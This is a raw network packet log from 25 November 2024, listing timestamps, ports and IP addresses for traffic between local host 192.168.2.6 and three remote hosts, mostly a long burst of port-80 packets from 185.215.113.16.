Nov 25, 2024 18:28:32.063981056 CET	443	49755	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.064053059 CET	49755	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.064219952 CET	49755	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.064233065 CET	443	49755	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.238851070 CET	443	49751	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.239409924 CET	49751	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.239423990 CET	443	49751	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.239866018 CET	49751	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.239870071 CET	443	49751	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.314531088 CET	443	49750	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.314601898 CET	443	49750	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.314666033 CET	49750	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.314877033 CET	49750	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.314891100 CET	443	49750	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.314903975 CET	49750	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.314908981 CET	443	49750	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.318018913 CET	49756	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.318043947 CET	443	49756	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.318140030 CET	49756	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.318336964 CET	49756	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.318351984 CET	443	49756	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.544183969 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.544230938 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.544246912 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.544274092 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.544289112 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.544300079 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.544311047 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.544317961 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.544348955 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:32.544389009 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:32.544482946 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.544496059 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.544548035 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:32.664921045 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.664941072 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.665052891 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:32.677324057 CET	443	49751	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.677401066 CET	443	49751	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.677500010 CET	49751	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.677721977 CET	49751	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.677740097 CET	443	49751	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.677753925 CET	49751	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.677764893 CET	443	49751	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.680754900 CET	49757	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.680800915 CET	443	49757	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.680901051 CET	49757	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.681066036 CET	49757	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.681078911 CET	443	49757	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.762485027 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.762497902 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.762577057 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:32.765028000 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.765197039 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.765244007 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:32.773463011 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.773566008 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.773612976 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:32.781907082 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.782061100 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.782341957 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:32.790360928 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.790488005 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.790575981 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:32.798891068 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.799016953 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.799066067 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:32.807245016 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.807344913 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.807389021 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:32.815686941 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.815788031 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.815826893 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:32.824156046 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.824280977 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.824323893 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:32.832707882 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.832844973 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.832900047 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:32.841093063 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.841223001 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.841272116 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:32.885751009 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.935730934 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:32.964687109 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.964802027 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.964891911 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:32.967590094 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.967675924 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.967729092 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:32.973479986 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.973494053 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.973545074 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:32.978770018 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.978795052 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.978910923 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:32.984342098 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.984406948 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.984484911 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:32.990040064 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.990210056 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.990264893 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:32.995557070 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.995621920 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:32.995696068 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.001188040 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.001288891 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.001341105 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.006783962 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.006834030 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.006881952 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.012396097 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.012479067 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.012537956 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.018014908 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.018131018 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.018178940 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.023642063 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.023796082 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.023857117 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.029249907 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.029378891 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.029493093 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.034826994 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.034954071 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.035017014 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.040844917 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.040936947 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.040992975 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.046204090 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.046328068 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.046402931 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.051733971 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.051810980 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.051855087 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.057332993 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.057476997 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.057549953 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.063117027 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.063276052 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.063333988 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.068620920 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.068789005 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.068865061 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.074134111 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.074203014 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.074258089 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.166207075 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.166310072 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.166383982 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.168952942 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.170006990 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.170054913 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.170109034 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.175672054 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.175734043 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.175769091 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.181250095 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.181293964 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.181308985 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.187231064 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.187289953 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.187335968 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.192451954 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.192518950 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.192572117 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.198097944 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.198175907 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.198213100 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.203653097 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.203743935 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.203761101 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.209423065 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.209520102 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.209566116 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.214920998 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.214981079 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.215090036 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.220598936 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.220664978 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.220741987 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.226279020 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.226325035 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.226341963 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.231754065 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.231821060 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.231853962 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.237324953 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.237384081 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.237453938 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.279495001 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.287411928 CET	49758	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:33.287472010 CET	443	49758	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:33.287605047 CET	49758	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:33.288232088 CET	49758	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:33.288249969 CET	443	49758	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:33.303198099 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.303212881 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.303317070 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.305504084 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.305623055 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.305670977 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.311263084 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.311709881 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.311769962 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.316742897 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.316854954 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.316909075 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.320705891 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.320817947 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.320873976 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.324482918 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.324594021 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.324691057 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.328303099 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.328407049 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.328468084 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.331985950 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.332052946 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.332101107 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.335747004 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.335777044 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.335830927 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.339386940 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.339462042 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.339518070 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.342905998 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.342946053 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.343019009 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.346473932 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.346612930 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.346668005 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.350071907 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.350122929 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.350174904 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.353435993 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.353552103 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.353599072 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.356816053 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.356976032 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.357024908 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.360219955 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.360270023 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.360332012 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.363606930 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.363779068 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.363827944 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.366807938 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.366869926 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.366913080 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.369951963 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.370095015 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.370141983 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.373085976 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.373182058 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.373564959 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.376185894 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.376291037 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.376341105 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.379350901 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.379471064 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.379515886 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.382488966 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.382597923 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.382646084 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.385958910 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.386149883 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.386233091 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.388849020 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.388988018 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.389034033 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.392036915 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.392083883 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.392136097 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.395163059 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.395279884 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.395334005 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.398433924 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.398525953 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.398581982 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.401429892 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.401525974 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.401693106 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.404966116 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.405127048 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.405179977 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.407723904 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.407850981 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.407902002 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.410947084 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.411055088 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.411118984 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.414110899 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.414130926 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.414175987 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.417180061 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.417324066 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.417382002 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.420294046 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.420412064 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.420460939 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.423670053 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.423894882 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.423944950 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.427073956 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.427184105 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.427258015 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.429718018 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.429743052 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.429786921 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.432952881 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.432986975 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.433089972 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.436034918 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.436199903 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.436249971 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.439181089 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.439270020 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.439332962 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.442291021 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.442399979 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.442466021 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.445439100 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.445538044 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.445585966 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.448715925 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.448827028 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.448903084 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.451766014 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.451862097 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.451911926 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.454883099 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.455028057 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.455075979 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.457937956 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.458072901 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.458116055 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.461019993 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.461128950 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.461191893 CET	49752	80	192.168.2.6	185.215.113.16
